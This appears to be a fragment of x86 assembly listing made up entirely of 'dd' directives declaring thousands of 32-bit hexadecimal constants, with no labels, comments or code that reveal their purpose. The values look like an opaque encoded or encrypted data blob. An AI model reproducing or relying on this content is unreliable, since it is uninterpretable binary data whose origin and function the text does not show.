		dd 0AEE52BB1h, 0D259F080h, 0AD9DF2BEh, 0E9D4B2C7h, 419FEAEBh
		dd 0A3936F24h, 6BAD94A5h, 40E3A0A7h, 28A27301h,	7CE597Eh
		dd 284029F6h, 59C1A6D1h, 0AFB7BE47h, 357FA7EAh,	7DDBA8FCh
		dd 62204EA3h, 7B64AF8Fh, 2F552B45h, 0BA131FA0h,	3BF06953h
		dd 0CF41FBCBh, 351B18B7h, 114C44E9h, 6121F8DDh,	3EBD6469h
		dd 7D9AA5FEh, 5B5837B4h, 0A7CE7BF0h, 3CACB78Ch,	0BE7B1308h
		dd 0F4CD533h, 4F805776h, 58406DABh, 4A38D073h, 7247E3Ch
		dd 0BFE55B38h, 0EF743DDBh, 0F5C746A3h, 4FAA1688h, 24A745CBh
		dd 4B07E2A9h, 9CC37B1Ah, 41AFC4D5h, 0D165AD14h,	0FA812CC0h
		dd 607C7113h, 584D00BFh, 0E7F971C3h, 45C1DB99h,	0C75C28BAh
		dd 0F5A575EEh, 9A40B6B3h, 22EFDF7h, 0DCC4AADh, 8DEA57Dh
		dd 0BDEC7DFFh, 16BE98C6h, 9BA5BAF8h, 0AFDD094Fh, 53BCC139h
		dd 4612DC52h, 0BDD63E56h, 7C3AFBFh, 7B6290FCh, 4EB234ABh
		dd 0F9127F33h, 9CCE0844h, 0FCA8CAA4h, 53665F6Dh, 96CF415Ah
		dd 0A8E8EFB8h, 1AA4AB36h, 88AD0E89h, 51574723h,	5FB9AF50h
		dd 90C956EAh, 0F53030F2h, 7136BAB0h, 9DD6C9F8h,	64829219h
		dd 0D1FBDBADh, 112E4873h, 0CFBA6A11h, 193930B2h, 707DD1A0h
		dd 39B11752h, 139FD254h, 2CE7B7Ch, 0E50778FEh, 0DA4E1AF4h
		dd 5BECA566h, 0CA604ABFh, 7A0D0B6Ch, 0AFE11BFEh, 7694B6B4h
		dd 0CC0F4BF7h, 3CF25557h, 542DB634h, 63DF7C05h,	322D40CEh
		dd 0DA3F3B41h, 0ABC4711Ch, 8D4C2446h, 0C08DEEBFh, 0ABB836F2h
		dd 92B85BFAh, 0BAF9DFA0h, 26CD344Fh, 0AA0E2016h, 0F46E8EB9h
		dd 4128124Dh, 302ECDD3h, 0AE532B7Bh, 0AACD9849h, 0E2E8607Dh
		dd 0B823BEFEh, 148DD689h, 8C7BA1F8h, 0D6E0471h,	0FCB575FDh
		dd 1A1CE85Ah, 932E7F75h, 40A45FD1h, 0A1BF749Bh,	469BB226h
		dd 772812EAh, 28D8957Fh, 0A96552F6h, 0B1AA69DAh, 2FC3810Dh
		dd 4F843E80h, 1D5EF72Eh, 9A34A35Eh, 31799953h, 0B51ACFEEh
		dd 51415B6Ah, 0A1ABA8A8h, 0E3501ECEh, 0B857FF6Dh, 8515CCD4h
		dd 0EA5D57CDh, 0C80BFB74h, 77560B4Ah, 85A5B751h, 0F856F54Fh
		dd 303F5373h, 898F5A16h, 0BE6154DCh, 5D6E66BAh,	0BDD56079h
		dd 792846CBh, 8A5F8791h, 0C3E1A34Fh, 0CACDCC90h, 0E2E7EA33h
		dd 1A9AE235h, 4BE581EFh, 0E1B194C3h, 10BFDBC1h,	0D6DED157h
		dd 0D764B82Ah, 791FAD67h, 2215055h, 0E453DB70h,	0A0BAC6A4h
		dd 3EE77FF9h, 97E069B6h, 757D7848h, 9DF82D01h, 5C347C1Eh
		dd 41AD123h, 0FE889F23h, 0ABAF4ABh, 626BBF8Ah, 85A09F03h
		dd 1937733Eh, 97E6616Fh, 0C2B52350h, 0EF9FBD42h, 3AEA8638h
		dd 0AA1F5D45h, 0EF0B0CB5h, 0E56C81BFh, 0F92150F2h, 52C99030h
		dd 0FBF30960h, 0F6623954h, 85F472C3h, 0E1E0813Eh, 0E550D041h
		dd 0FEBD8E1Ah, 265E05D5h, 9F12025Ah, 0E6B81166h, 8CB45A66h
		dd 7F7688DEh, 45A21AB7h, 61AC923Bh, 0F454FD62h,	95A51708h
		dd 0C2AA010Ah, 0AC087750h, 7F21CEE0h, 2AD5358Eh, 0CF650B19h
		dd 0A7F897F9h, 59241449h, 52F97DD1h, 55F23423h,	1F986E1Ah
		dd 90C5497Ch, 28ABD5Ah,	8A15B67Eh, 530FC24Ch, 9D4F51F7h
		dd 0C406049Eh, 367EAAFFh, 0E32B968Fh, 0AF9C6FE8h, 0CBB90453h
		dd 7CCE9754h, 7A47F850h, 2431E384h, 44DBF50Ch, 0AAA06187h
		dd 0A77B57DEh, 0DB25D735h, 5AF2FDC0h, 0F17FA737h, 4E2415D7h
		dd 0BD33F96Bh, 5B246FE3h, 0B3FE08D8h, 0E904BF0h, 0D7FC0FBFh
		dd 0ABF7AC7Eh, 0BF1ED59h, 9CDAEE84h, 62AA32D7h,	0DB168F6Eh
		dd 957768ABh, 1C859428h, 3564EB9Fh, 8CDE1A5Eh, 0AA96476Eh
		dd 0F1C71D08h, 21AF85EAh, 77E77D08h, 0AC72AFF0h, 1B72386Ah
		dd 0EEC348B2h, 0C27B7AD5h, 0DB4672C7h, 0E796A995h, 1B98EC9Dh
		dd 112D87C4h, 0C655CBEh, 39A0E0E3h, 6BAAB015h, 0D3B93D05h
		dd 0D5169B87h, 55B417E3h, 344B6E64h, 6BE27D1Dh,	0B92319E2h
		dd 0B531F9DEh, 0A0A0E254h, 0D75F0C20h, 55FBEAD4h, 0A2215D9h
		dd 8F01DA80h, 9360164Ch, 97F12FA6h, 5F5044CAh, 60D8B413h
		dd 0CA84E51Ah, 976DE0FAh, 0A05F72BCh, 483C9B64h, 0B5F5EDC6h
		dd 0D17C0AEBh, 7E0AA824h, 0A75F5ADBh, 667E8D37h, 0E8DA2C3Bh
		dd 0B0C3EB55h, 9FDCC42Ah, 125C1746h, 0B12B5DA6h, 0DBC1C0ECh
		dd 42DDE28Ah, 0C9D75A0Eh, 0C1DF0057h, 813B39C1h, 0F0454097h
		dd 6F367F78h, 225DDED5h, 0CAF4BD64h, 23C142D7h,	0CA942F8Dh
		dd 7D33BA06h, 0E826FDDCh, 0CE51C648h, 0FA5F1B20h, 14DD57C5h
		dd 5B391CAFh, 7DFA50FCh, 7E1F84FBh, 115AD9FDh, 6FDE5FD1h
		dd 6D9798B1h, 17FC637Dh, 3BE2761Eh, 0DE754C29h,	5752C4A6h
		dd 7953271Ah, 94402AAAh, 0AAD474F2h, 0AF0FC176h, 0BAEAE98Ah
		dd 0DEB88707h, 0C5065541h, 9EE6BB33h, 0DC3F881Fh, 0F45AE37h
		dd 9FE628C4h, 0D53C42ABh, 9C08FDD6h, 70F39DCBh,	3529D4ADh
		dd 0B29728AEh, 0D0136A1Ah, 639C293Eh, 2BFDC6C5h, 0C4A66657h
		dd 32A45E1h, 0D10804CEh, 2DAB2199h, 514B2D73h, 0F5BEAB45h
		dd 67115A2h, 382A7474h,	578E9355h, 161E9F6Fh, 8E2F9FE9h
		dd 0CF2BC10h, 0BA6D5B60h, 950F8F94h, 0E0221BADh, 622F4EA6h
		dd 7DFDAAE0h, 3F6FAB40h, 91377ED9h, 6F077386h, 0AEACFB98h
		dd 1B8BAD64h, 16F773BCh
		dd 1EC8C17Fh, 0B45ABF7Eh, 0E040F8C2h, 1DB9E6C3h, 0F13FCB9Bh
		dd 0EB96EDF2h, 0A2CD323Ch, 2B446A66h, 1E7F9B3Ch, 8FF58BA6h
		dd 913DFD2Ch, 0BD434D1Fh, 53F0A2h, 26A75CBh, 109C9DB8h
		dd 66CC00D7h, 2BCFAEF0h, 0F8E448AAh, 0BD5ADA99h, 39755DC6h
		dd 5EFE4D81h, 2BED3968h, 16056FA2h, 9F42A12Dh, 0F5A3253Eh
		dd 7EE4B974h, 7AAE078Dh, 399F3F7h, 0B625C50h, 0BAB4ECD7h
		dd 7F832B47h, 127387F0h, 2E8AC4FEh, 0E97EC129h,	2E62B55Bh
		dd 3552D69Dh, 0CBD5AE25h, 0D58AEE6Ch, 0DC60ACC8h, 9D4F429Fh
		dd 0E9DFAFBAh, 85E94191h, 0E07E395Ah, 440B3DC1h, 251A3452h
		dd 0F54D4F5h, 5665CDC4h, 0A9AC4971h, 65B4934Fh,	4A7E1230h
		dd 749D7292h, 7821EADh,	54C1C968h, 0FD3BECECh, 9A6CAC3Fh
		dd 1F1D604h, 0FFD66968h, 0B4C4E839h, 0A59268C5h, 771B2242h
		dd 7511E146h, 0DDD2F6D4h, 0F8AB1BE0h, 7DED4F57h, 1628FB6Ah
		dd 968B256Ch, 3BFE5813h, 766E0D2Fh, 36E3094Ch, 0DC4AE801h
		dd 0B177EEF5h, 0A48FFE01h, 0B7665581h, 0F7B47922h, 0C839297Ah
		dd 0DA20E87Fh, 908DAA80h, 0D55557D9h, 2AA86E40h, 56E7855Eh
		dd 745156E3h, 6E0CCE1Fh, 8DF55DD0h, 91FE80D6h, 0AF540D8Ch
		dd 2DB9A5DAh, 774C5EBCh, 21B2CC62h, 0C887CA47h,	3EE95E9Dh
		dd 0C1EB2E76h, 5B297D82h, 9323C88Dh, 0F5DC7B95h, 0EB752098h
		dd 8469CE8Bh, 131101D3h, 0D3B87E3Eh, 53D51F1Eh,	0B7A1D54Bh
		dd 8CA45C02h, 1F550768h, 94E9EF52h, 0F5D0EA38h,	0BE528695h
		dd 0A211ABA4h, 5F160FA2h, 0BFE8F470h, 1767D857h, 0F953B77Ah
		dd 8AB62FE4h, 6B51992h,	5FE98888h, 41B00842h, 78168ECDh
		dd 75442CECh, 3AB18152h, 3FE6EF57h, 7D41F341h, 0FEE84C35h
		dd 7978B46Eh, 60684E21h, 9CCB7356h, 87721B3Bh, 604ED5A4h
		dd 7C1F2ACAh, 89EFB822h, 73AF6EF2h, 0C0FDD4C0h,	7D929461h
		dd 5DE34BC3h, 7A55FCFCh, 0EF042F02h, 536735C5h,	0F73EFC07h
		dd 643CE61Fh, 567B6E93h, 0F87268FBh, 9185650Bh,	0E72070AEh
		dd 0C0F1F132h, 883F64ACh, 5CD3E4FAh, 67548822h,	90480D53h
		dd 0A25E46EBh, 662028FCh, 54583094h, 2B6B7B35h,	0C740BEA0h
		dd 627B2074h, 25F34EDAh, 0FC45376Fh, 38029AA0h,	3D77B68Bh
		dd 0BA4CA54Bh, 0A12EBD81h, 0EE9FBB68h, 0C7DBF391h, 1578AC9Bh
		dd 0E5B6868Bh, 0F1A311C8h, 443D2DEEh, 99779DC5h, 6E530901h
		dd 0C90A9AAAh, 98E63FE6h, 0FDF9702Bh, 74184644h, 6331DDFh
		dd 37B4BFA2h, 0C16DE865h, 1E12247Eh, 925C4F26h,	3786EDAAh
		dd 6256F10h, 338A9C6h, 410E0928h, 4AFAA17Dh, 69CDBB75h
		dd 0A78F5168h, 8DABE8C4h, 998C1607h, 9599A5FEh,	336FA61Ch
		dd 468008BEh, 0DF343F07h, 19CFAC21h, 42D6F8A9h,	0BFDC4861h
		dd 7AEEF0FCh, 414D4010h, 28EA4AFCh, 0F71BCA5Fh,	0B3F1ADCh
		dd 1C9F7CCDh, 0EE740F38h, 0B8E43F0Dh, 15D534E3h, 543411BEh
		dd 806F4278h, 6A269809h, 858372D3h, 0A46A8DECh,	0ACCAE0AEh
		dd 0AD109F0Ch, 0DC631CA0h, 48FFE2FDh, 0D5D3E72Dh, 119994D8h
		dd 0AADF67BFh, 916FD021h, 3DE1E41Fh, 4FEB3FE2h,	6B625FBFh
		dd 12FDA42Eh, 0D1E7899Ch, 0AA8DA78Bh, 0E70CF5F0h, 90C765B9h
		dd 33C5370Ah, 27B2AD83h, 5DDC896Eh, 0D6AD107h, 0F14FAC4Eh
		dd 0A269DD89h, 0E9B7E5FDh, 0F65CD4DFh, 3E5F9FF0h, 0FACD37AAh
		dd 5090AE6Dh, 0E80EB78h, 618021B4h, 4AB3560Bh, 8CADF9DEh
		dd 9FE35F6Bh, 3133ECEh,	8D95B10Dh, 0CFA3806Fh, 0C56BD73Fh
		dd 8088EA8Ch, 0A9DB56C4h, 0B5DF555Fh, 1592D1F8h, 0CA4E69CFh
		dd 0ADFC6636h, 0D6BE0A10h, 0B43D5B8Ch, 54881A67h, 0B2B5780Dh
		dd 1D1205E7h, 0CACCAACCh, 0ED7ACE70h, 0D5F5BAD9h, 7D7137F8h
		dd 2E72FAA0h, 0E4ECFF11h, 0B9B2E548h, 4D267B8h,	0D42AC2C8h
		dd 99C1E046h, 0DDD3114Bh, 6C154752h, 0FFBEFF79h, 177E3CABh
		dd 0CBA0219Eh, 0B62A635Fh, 7B0CCFFAh, 3BE5B70h,	8E5C76C8h
		dd 42FE6BFEh, 2E5B1B42h, 0BACDBF65h, 56213913h,	8B7D81E5h
		dd 0E37BEFBEh, 0EDA76A3Fh, 0A56168Ch, 72363FF5h, 59E8F04Fh
		dd 0E0A5D765h, 92AE4D7Eh, 99E6260Ah, 359CC55Ah,	0D154D87Fh
		dd 0BF0349E6h, 35559D43h, 0FEFC65DDh, 0B49BF769h, 57FB7AD1h
		dd 0AA5A21Dh, 0B86C16A0h, 63A95E05h, 0D408CF55h, 0B72FA7EEh
		dd 2EA14396h, 3866B2EDh, 4B8CED23h, 7B288637h, 0B739B975h
		dd 6E11DAB6h, 32120C5Fh, 0AD800ACCh, 0AFC4F92Ch, 516A692Fh
		dd 42DA3904h, 31842EDDh, 5DE30BA1h, 9D46FEF0h, 6B35B5A0h
		dd 0AD0E2C9Dh, 51F5CBB4h, 55DC42BAh, 99555FA0h,	5B472CACh
		dd 80CF21FCh, 24B854B7h, 0FCFEBE16h, 2FC642E0h,	0B81C9BBEh
		dd 0C61FDF23h, 0F9C2FBADh, 729585FEh, 788A6AF2h, 59AD62A1h
		dd 4B7C2722h, 0B543CF2Eh, 0E93BF168h, 0DA756BA8h, 0BDDD5A76h
		dd 8BACCE2Eh, 938DD688h, 3BB5057Dh, 9D236177h, 0BBF2C20h
		dd 8D5386DBh, 0C58487E2h, 7E4EE843h, 701D50ADh,	1E4F9D8Fh
		dd 13592987h, 0E0F43A07h, 562B47F7h, 0BD96AFC3h, 0D7190A54h
		dd 9F18AF7Ch, 9AF840BCh, 7DFAAA47h, 9CFFDA80h, 0D73950FAh
		dd 0F6E56D15h, 0ECECD77Fh, 5B59B08Bh, 9A9C59C6h, 0FEAA44ECh
		dd 3F154EE6h, 3B88F58Ah, 0EFE4543Eh, 8D66975Fh,	3E52E14Bh
		dd 7D705094h, 7291BDB7h, 550ED3BBh, 6A463B88h, 1CC1D835h
		dd 89924479h, 0A66D1807h, 0E446A49Ch, 0D2DC5F9h, 0FDE15B03h
		dd 4AD90182h, 0F9CE5A31h, 9E007799h, 0F933AFBBh, 30B2BAA7h
		dd 0EB5C2A8Fh, 89F2AC4Eh, 388571A9h, 0FB080DA3h, 79EF0ABFh
		dd 0B5BB03F3h, 88D72C51h, 0C91F4EB7h, 318B2ABFh, 48E46318h
		dd 3BFC6E56h, 7FBBEBEh,	0E2B76D6Ch, 982110AFh, 58105DFEh
		dd 6BA8D25Ch, 5C121733h, 0A2142D3Dh, 5D72E874h,	5F4E3BAEh
		dd 5C04E198h, 8C03DC86h, 0F7BB4E81h, 0FD6AF68Dh, 81F9CE0Ch
		dd 1A697FB3h, 7A0D68D5h, 0EBA2F81Eh, 47DF5FB6h,	8F17F476h
		dd 0FE1D1F12h, 9BA48FA9h, 0C5A16757h, 0D798931Dh, 635D0662h
		dd 960C5FDCh, 779DCF5h,	3E8313A8h, 0CE3FE9C1h, 24DB07C4h
		dd 0D7AEADB4h, 523EC6B4h, 8B61692Ah, 0B9B4DAB8h, 8AFE6AAFh
		dd 70A7353Bh, 474B3BB7h, 0A63E8385h, 0BA5FE1D3h, 97E1EFBEh
		dd 55EFDAA8h, 0A8D6BB4Bh, 0B8E156B1h, 9688FE7Fh, 8BA9029Fh
		dd 6FF9BD8Dh, 445FAB44h, 79A95A3h, 47FFCCDDh, 1708098Fh
		dd 0BA32E40Dh, 8DA9AAA4h, 324A1FD0h, 0CC885A2Ch, 9E377881h
		dd 0B70BEA1Bh, 36C316B0h, 0B375B335h, 0A8DA245h, 28975501h
		dd 3495B831h, 9545FB03h, 1E86AEFAh, 724EF3BBh, 5AA32EB7h
		dd 30AB7900h, 5B92DB4Ah, 0FFC12D50h, 0B44F2C1Bh, 4B7022D3h
		dd 0E6F0FC17h, 3D663AD1h, 93C0D374h, 0A53F741Bh, 0ADD0DA9Dh
		dd 0A65F7C8Dh, 0E7FF0164h, 12FA8DA8h, 0A9E288E2h, 28BF7574h
		dd 6D249070h, 3D9F56DCh, 1795CF54h, 0F3D3D55Ch,	444F0385h
		dd 0F62362E3h, 86655EECh, 0A8DE2D64h, 0A977BA3Ch, 0A6F0303Ch
		dd 9B56B60Fh, 1B99FE54h, 773D5B8Fh, 5CF5E545h, 81D6744Fh
		dd 83CD8F6Fh, 0F6F61FC4h, 0E594CF3Eh, 0D568DA92h, 0E19DC1EBh
		dd 0D5CAC8h, 0ED4F6E4Ch, 2E2C77EFh, 3610DEAEh, 6A5B6B92h
		dd 0F8F8DAEEh, 879FEAAAh, 10F46713h, 5BE3F89h, 2DE0A64Ch
		dd 0FEAABE06h, 5FBC4865h, 7FA2895Ch, 95C77A6Fh,	0AC02ACC3h
		dd 0AE8BE4DBh, 368DA191h, 0BFB3BDB6h, 0FEABA78Ch, 0D0E41144h
		dd 0C203087Dh, 0D29D1524h, 6EAF9D69h, 6AE1CC0h,	765D1A4Fh
		dd 0BF025FD8h, 0EB3B4E58h
		dd 0FDFE07C5h, 0DBE7FE17h, 79693E30h, 0FC46E944h, 1AD14CE2h
		dd 0C0BBCE6Bh, 59957239h, 15C1C9A6h, 6B7CE164h,	0A2D155F0h
		dd 5355DC7Ch, 0D7CE4FAh, 0BF9ED7Ch, 0C878F00Dh,	361A4B1Bh
		dd 0FC87E326h, 9D17F66Ah, 2D1D9231h, 0BF7BB219h, 98CD719Dh
		dd 44CA7B3Bh, 64D2DE5h,	0D52759D7h, 0AA996401h,	5711E758h
		dd 0AACB925Dh, 52B94E4Dh, 0BB03C6FBh, 6EE81797h, 5BC93154h
		dd 482F82D1h, 54AC661Dh, 21ACE7A1h, 0B35951Ah, 0E9A95560h
		dd 315B118Bh, 0D61D54E2h, 533D5407h, 0BB274948h, 0E2AD68D8h
		dd 0AEB9AC96h, 3CDD6D75h, 44AAD99Dh, 0FB525FB4h, 4F8AF43Bh
		dd 61A94847h, 602BE5A3h, 46BEFC2Bh, 9CBF5B8Ch, 2DC53B0h
		dd 8A6EBF76h, 8C046A55h, 0AC7536DBh, 3EABB42h, 0B29432FCh
		dd 0ADA93BDEh, 6CBFEB1Fh, 0B3A22A03h, 54DBAF0Eh, 0D171DB5Bh
		dd 4E8477C5h, 0E778A6Dh, 0F43E0BB9h, 49842FB2h,	3B51756h
		dd 416BF39Eh, 0F585B309h, 0A42E035Ah, 0C5CDAD18h, 355179A7h
		dd 0BCD75D11h, 97B994A4h, 6B97C5DFh, 3CC0FA9Dh,	5552D545h
		dd 0C2C7C8BBh, 85D795Bh, 0F2D521B8h, 0E6FD07A9h, 0FEAC5565h
		dd 0E3E0FF82h, 0EE6B4763h, 78328EC3h, 0F17EF5F9h, 0C891F595h
		dd 5608BA35h, 2134FC66h, 95C3A515h, 0DFB4E541h,	34BA2A90h
		dd 0F5AF7005h, 0DC5FB965h, 0F48ACB77h, 0D316A331h, 81E453B7h
		dd 9F2CC97Fh, 412B7DB3h, 260A3CCBh, 0C40FF47Bh,	0C72E8E92h
		dd 0DC3FBD4Ch, 0CAAF9EE0h, 30CE38CAh, 0AC0E3B8Ah, 7A634CFCh
		dd 16AAB2E6h, 5DDC5480h, 82D17BE9h, 49AA2EADh, 38D40F86h
		dd 7564529Fh, 996A8B8Dh, 0C2B26321h, 8AA9E6D4h,	0B30D648h
		dd 0A8B38D50h, 16F57DF9h, 0DE0AABF3h, 0DDF7CA2Bh, 0EF377088h
		dd 0E0145E45h, 55643BBFh, 3CE1E0F8h, 7C1375Fh, 3E4B5B01h
		dd 0C0FF8CEEh, 738BAE19h, 0D73C3FA8h, 7753785h,	3BCE5E61h
		dd 1B90FB38h, 564C9C3Fh, 1FADA82h, 1E0FA873h, 5AFDE81h
		dd 7F361389h, 7485B7F2h, 0B792D955h, 0F9D10114h, 0AD1303C3h
		dd 0AE4FE9F1h, 0A2FF3CFEh, 0B89B7E0h, 9D8F01E4h, 88EC4D2h
		dd 0FF52E768h, 0C43F191Eh, 5E806B2Dh, 0FF03F6FCh, 0DCE6E1A5h
		dd 0E7BEBC67h, 2FB665BCh, 0DCA396FCh, 0E7DFA4BFh, 8986855Fh
		dd 0D9A53B18h, 37FF87E5h, 7245AD14h, 0B1408ADh,	615FE7E4h
		dd 0A1AEBA4Ah, 59B98ABFh, 0E37551B4h, 623C9835h, 556A93DDh
		dd 0A4C5D48Bh, 0F07B95FBh, 1EE95426h, 65F67B0Fh, 0FF2EB289h
		dd 2AEBC5ADh, 643B68DAh, 0BA0935A7h, 18F8B272h,	7C933BB9h
		dd 7FBC52F5h, 73B80181h, 2DB4C75Ah, 0E0036522h,	5F7E0F37h
		dd 6FE4ED3Ch, 0FF42303Eh, 786C0BD9h, 5707C8BCh,	0CB2C7ED0h
		dd 5A681E7Ch, 0C3B5150Ah, 0CE15951Bh, 0DF815D84h, 92456E44h
		dd 0FC5A2A9Ah, 408BC670h, 0CDD8A9E0h, 573D8A0Fh, 157E410Fh
		dd 0C6925C2Fh, 69BD9560h, 0B2E7C7C4h, 0C8266BE5h, 2D56FA03h
		dd 0D79D536Eh, 0BA53CE3Fh, 0FC1E984Ch, 92964CE6h, 0ACFF3B8Bh
		dd 0BD8F3913h, 50F6C8DEh, 7953C744h, 257CC84Eh,	0F4AD57E5h
		dd 86E35AC0h, 0E679BFB4h, 4978E397h, 99F3F07Dh,	0D0C28497h
		dd 86EA167Eh, 0D102EAD5h, 66EDD575h, 36DD8B02h,	153D7C77h
		dd 0C5033A19h, 0BCDD69EEh, 0C7A66797h, 905C3B30h, 0FC572F08h
		dd 2D746EC2h, 8E86B7B8h, 0BE9B5547h, 4AEA02Eh, 7535EFA3h
		dd 0FA992EE2h, 352388D1h, 651F748Dh, 74DC3FB8h,	548BADEEh
		dd 0CFFA6620h, 2EDB3F2Ah, 0F970010Ch, 0FE2B0FC4h, 74FB0BAEh
		dd 71A3D3ADh, 0A29D2E10h, 0D55161C6h, 0CA80F69Fh, 2C015B4Ch
		dd 0CD2D5F75h, 552C91FFh, 430CA763h, 91BBF4ACh,	0F233C57h
		dd 7DA12FE0h, 3132F3F7h, 84D2A17Ch, 1DF757B3h, 6ED78DB4h
		dd 0CAC42647h, 0DB10AF89h, 0BA2F415Dh, 62FB05F6h, 0E4B5CA1Eh
		dd 0A835EE65h, 680E4D57h, 27F2091Dh, 0FE4CADB8h, 0A7376148h
		dd 86E0285Dh, 0E68A47D5h, 0B4328FE6h, 8E9D9D2h,	8BFD3067h
		dd 11BEE75Ah, 0CD2D1D8Bh, 782A2EEDh, 45026DAAh,	62BA0227h
		dd 0DA0BEA29h, 3A0E5D46h, 0EEA153B4h, 6C252525h, 0F5B7CAABh
		dd 0C70FD97Ch, 7F604917h, 782A307Ch, 0BE0BBA71h, 0F376D1F7h
		dd 95594857h, 5E10EAAFh, 0C95D5275h, 1DFA6E84h,	0E9EF3495h
		dd 715CAA59h, 7B134069h, 0C43FDF89h, 46838F33h,	0F619EBCCh
		dd 746400E0h, 6E651322h, 6110E74h, 3A56AE39h, 65FD4842h
		dd 0BF5246CBh, 6CAD1BBFh, 2E23075Bh, 71952630h,	6B047DC6h
		dd 46A0F233h, 8FF2C8A0h, 0C1042A7Eh, 6CABF526h,	3EADAACFh
		dd 0FD4F282Dh, 9396F24Eh, 4EBEA47Eh, 1D81F3D5h,	0A71CDC72h
		dd 0C2A7CB0Fh, 0B2E106C7h, 0D6A9C8DEh, 0A671A0D6h, 8CFABAA5h
		dd 0AA7C3D66h, 0E4D18F67h, 9EBCABF5h, 71CE9C41h, 7ADC86FFh
		dd 25FC077Dh, 35AEF508h, 7D20A042h, 0AF9B261Dh,	5527138Bh
		dd 45DFEA3h, 96BFB68Ah,	8D374614h, 0AAED91CBh, 0F852D66Ah
		dd 1BA8678Bh, 5DDAC818h, 0E262A6B5h, 0A963F6C5h, 31E4822Dh
		dd 0C21D68CDh, 0CC339AE5h, 52809D5Fh, 296EFC24h, 586C7A35h
		dd 5747FB50h, 0ABD27806h, 34F995A3h, 0FDF0DD2Ah, 0E391E29Fh
		dd 7B2B3D02h, 0FEA876BBh, 8CACC36Ch, 32EA5B1Eh,	0CE0A3777h
		dd 0F233910Eh, 0BAFB6C60h, 524522BAh, 0D0B5A643h, 0B73D62FCh
		dd 286C5F05h, 375E0360h, 0A19A55F0h, 3F3F0CFBh,	15DC75EFh
		dd 9155C1C4h, 0EF4654B4h, 259EDB27h, 0F0BF06E4h, 463C45FFh
		dd 8E8959AEh, 4D617DC3h, 0A93176Fh, 428775BEh, 75AAD3B5h
		dd 60BB05FEh, 87E3395Dh, 155F8993h, 0BCAF205Eh,	2CF225A9h
		dd 0A0CDED65h, 1A711257h, 7C40C576h, 0CA6AAD10h, 1B3199F4h
		dd 6CA2AA39h, 0A5A2C381h, 0F5CBFA14h, 1E2016E7h, 0A8EBE8F2h
		dd 957B46FBh, 23DAB8D7h, 0F0277F9Eh, 23383523h,	89860A1Dh
		dd 0BE030DD9h, 694BCFF6h, 0AA3EA058h, 4FDD5DF9h, 0F0781143h
		dd 1F03109Fh, 0BE500F23h, 1F2B02F5h, 455FE58h, 4B4523DFh
		dd 0C4C72BEEh, 7D139C9Fh, 3943B3E9h, 4780BB35h,	5E7B02BBh
		dd 4EA34D90h, 0FC4669D2h, 0D58BF7BEh, 0FD101DD7h, 0DB9ACAB0h
		dd 6312BFCBh, 9B3DBEAEh, 11271326h, 0BBF9B42Bh,	410BADF4h
		dd 0CBBC7CC6h, 0B598B578h, 0E2C37023h, 7CF03AA2h, 0EE269B9Fh
		dd 7E1CEF65h, 55A38F72h, 0FFD0F5BBh, 941DD865h,	0F8F2DAABh
		dd 7E53BF12h, 584E8E26h, 0B5CDE3Ah, 0F8834615h,	5043142Ah
		dd 4FB6AA1Fh, 8D96F497h, 0C8E6557Ch, 3A4FAFC1h,	7FF13101h
		dd 0D6A9A787h, 0E06A3FD4h, 383EA8A9h, 9E5C32C1h, 0FCB11AF7h
		dd 0C641774Fh, 0BB757372h, 0D7CCC67Ah, 8B63E311h, 0B62EAA06h
		dd 230480A3h, 0D2E543F1h, 5B6DD8AAh, 0BD089E43h, 0A45712CCh
		dd 42B76580h, 0ACBFFD0Fh, 8BBCE150h, 279688ABh,	0AF15B61Bh
		dd 4E1A15D5h, 0DE4ABF96h, 8C96E22Fh, 35597D26h,	0FC1508C2h
		dd 7B54303Ch, 7CA3CE62h, 0DFCD58BEh, 0BFA7E33Fh, 69848C47h
		dd 0B419C55Eh, 21257D0Bh, 4422A022h, 0FA3A4800h, 0CABB9D03h
		dd 0B1298F4Fh, 90F5DA4Ch, 7B3165F8h, 7369048Eh,	0AF035D48h
		dd 0D5B5CEB7h, 0B429A243h, 17CB5082h, 59F43D8Bh, 0CA8494A2h
		dd 0C920F865h, 5C07268Ah, 0D6D0C4D0h, 0C6EA0BFDh, 663A4EDFh
		dd 2B33C76Dh, 3A2E8EEBh, 4DCC673Ah, 55A0EA6Bh, 0DBD8B760h
		dd 81C3CB2Eh, 0FC2469BEh, 0F1758276h, 263CE345h, 0AC39BAB5h
		dd 0A3CB3EECh, 655DE421h, 4E89477Eh, 8CC10AF7h,	0D0DCEDACh
		dd 3CFC728Dh, 0AA78AED6h, 64F97715h, 15580A39h,	0DAC0F16Fh
		dd 0E0D68E04h, 0C7F9EE50h
		dd 597ABE90h, 0A823AF72h, 0CC00BB6Eh, 7C751B45h, 0EA0975A7h
		dd 56703E18h, 0FF37BDC1h, 0ABEFFA8Ah, 0BCFE4DAFh, 415F48FAh
		dd 1EAE2EC2h, 66923A50h, 916ACCB3h, 66F83BB7h, 0A8021C9Fh
		dd 2F396825h, 58E2FD05h, 670B3B31h, 0F32FC8F1h,	442F9A74h
		dd 0BF91E551h, 0C2D2530Fh, 4C282617h, 978551Ch,	0C8CAC280h
		dd 0EC896CFEh, 38E61635h, 0EE02FA1Ch, 116BE4F6h, 2EAE7CA0h
		dd 535544F3h, 3E92E6CAh, 3BD56AA9h, 0B1CD6B8h, 90AAF72Bh
		dd 22878E2Bh, 5FF04F9Ah, 0EE5DB43Dh, 77DB6735h,	5887E035h
		dd 714A918h, 0A93D673Eh, 0A9140A77h, 0AC1BE7C6h, 0A00D3F6Eh
		dd 7BA890B1h, 2EE0A51Fh, 72692EB2h, 0FA79EB1Eh,	0CBAB5AADh
		dd 540975EFh, 0A4DB395h, 0CFD8F55Fh, 6576E6C7h,	0A63F5034h
		dd 6227E8Fh, 0A53A9AB0h, 0A485FBA1h, 0F8CB9FBCh, 32494470h
		dd 3D9E8DA2h, 0B9BF6B79h, 0B08D4D55h, 8C361B51h, 33550C31h
		dd 2902FACAh, 0FEA85A35h, 987AECD9h, 6585E3A5h,	6360B08Ch
		dd 15095DC7h, 0BB2AE25Fh, 9BCE974Dh, 0F72AB5F0h, 0CDABEDD2h
		dd 9B8253FDh, 381AF697h, 6FCEDE6Ch, 0EA17A5FCh,	4F8BEC04h
		dd 0BD7056E9h, 0DEAA76F6h, 4E5FED67h, 0B95EFA40h, 617C8B72h
		dd 0E50E0EDBh, 53BA6468h, 71DE34B7h, 66AB0BE1h,	34F4A4F5h
		dd 0D5DE39B7h, 277EAFC8h, 974D89Ah, 0EB57E279h,	5858517Ah
		dd 37733A5Bh, 0E16AFD17h, 66D1CF97h, 63B345FDh,	0D48DB60Eh
